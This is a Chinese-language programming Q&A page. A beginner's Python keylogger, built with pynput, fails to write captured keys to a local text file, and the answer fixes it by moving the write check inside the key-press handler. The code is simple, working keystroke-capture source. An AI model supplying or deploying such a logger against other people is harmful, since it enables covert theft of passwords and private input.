.txt文件不显示任何带有f.write的内容

2024-09-30 22:28:01 发布

您现在位置:Python中文网/ 问答频道 /正文

我对这东西有点陌生,我这样做只是为了教育目的,我用this link来写代码,但问题是我不明白为什么keyloger.txt不起作用

我尝试删除文件并更改 ("keyloger.txt","a")("keyloger.txt","w")。 发生这种情况时,不会创建任何文件

这是我的代码:

import pynput
from pynput.keyboard import Key, Listener

count = 0
keys = []

def on_press(key):
    global keys, count
    keys.append(Key)
    count += 1
    print("{0} pressed".format(key))

if count >= 10:
    count = 0
    write_file(keys)
    keys = []

def write_file(keys):
    with open ("keyloger.txt","w+") as f:
        for key in keys:
            f.write(str(key))

with Listener(on_press=on_press) as listener:
    listener.join() 

Tags: 文件key代码importtxtondefcount
1条回答
网友
1楼 · 发布于 2024-09-30 22:28:01

现在您的文件只在一个地方被修改/创建-在write_file函数中

另外,您的write_file函数只在一个地方被调用-在if count ...下。问题是这段代码在程序开始时执行了一次。所以在这一点上,count = 0什么也没有发生

我相信您的意思是在每次单击时执行此检查,因此只需将if缩进到on_press函数中即可:

def on_press(key):
    global keys, count
    keys.append(key)
    count += 1
    print("{0} pressed".format(key))

    if count >= 10:
        count = 0
        write_file(keys)
        keys = []

这样,在每按10次时,文件将被写入,countkeys将被重置

相关问题 更多 >